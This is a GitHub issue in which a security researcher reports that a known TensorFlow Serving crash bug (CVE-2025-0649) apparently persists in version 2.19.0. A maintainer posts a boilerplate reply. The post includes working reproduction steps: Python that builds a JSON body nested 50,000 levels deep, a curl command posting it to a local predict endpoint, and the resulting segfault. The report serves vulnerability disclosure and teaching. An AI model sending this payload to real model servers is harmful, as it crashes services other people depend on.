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**CVE-2025-0649** - I think this issue still exists in version 2.19.0 - At least my lab suggests it is. #4116

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@SecurityNik

I am working on my book on adversarial AI: https://www.securitynik.com/2025/06/coming-soon-free-little-book-on.html and as part of that book I am talking about attacking the inference endpoint. As expected, version 2.18.0 of TF Serving is vulnerable to the JSON issue. We know this. However, when I try to show the mitigation is upgrading to 2.19.0, unfortunately this version also crashes.

Here is my code to create the file:

# Increase recurse_depth to 50_000
recurse_depth = 50_000  

# Create a file on the file system
with open(file="/tmp/tf_serv_vuln.json", mode="w") as f:
    # Write to the file
    # This information should look similary to what you say earlier
    f.write('{"instances": ' + ('[' * recurse_depth) + '0.5' + (']' * recurse_depth) + '}')

# verify the file has been created 
!ls /tmp/tf_serv_vuln.json

Here is my curl command:
curl --request POST "http://localhost:8501/v1/models/vuln_tf_serv:predict" --header "Content-Type: application/json" --header "User-agent: securitynik_adversarial_ai_lab" --data-binary @/tmp/tf_serv_vuln.json

Here is the result to my curl command:
curl: (52) Empty reply from server

Here is the output from TF Serving console

[evhttp_server.cc : 261] NET_LOG: Entering the event loop ...

/usr/bin/tf_serving_entrypoint.sh: line 3:     7 Segmentation fault      (core dumped) tensorflow_model_server --port=8500 --rest_api_port=8501 --model_name=${MODEL_NAME} --model_base_path=${MODEL_BASE_PATH}/${MODEL_NAME} "$@" ```


Here is my docker information:

sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
tensorflow/serving 2.19.0 d871e064642e 2 months ago 729MB


here is also how I served the image:
``` sudo docker run --rm -p 8501:8501 --name=tfserving -v "/tmp/models/my_model:/models/vuln_tf_serv" -e MODEL_NAME=vuln_tf_serv  tensorflow/serving:2.19.0```

Let me know if did something wrong on my end. Would love to know what I might have missed.  

Activity

  1. jeelania10 commented on Aug 12, 2026

    @jeelania10

    Hi @SecurityNik, Thank you so much for showing interest! We truly appreciate your enthusiasm and support.
    We regret to inform you that we are not accepting new implementation requests or feature additions at this time. Please feel free to fork the repository and submit pull requests if you have any suggestions for enhancements, problem fixes, or ideas. We’d be more than happy to review and collaborate! If you would like to contribute , please follow our CONTRIBUTION GUIDELINES here and submit a pull request.
    Thank you again for your interest, and we look forward to seeing your contributions!

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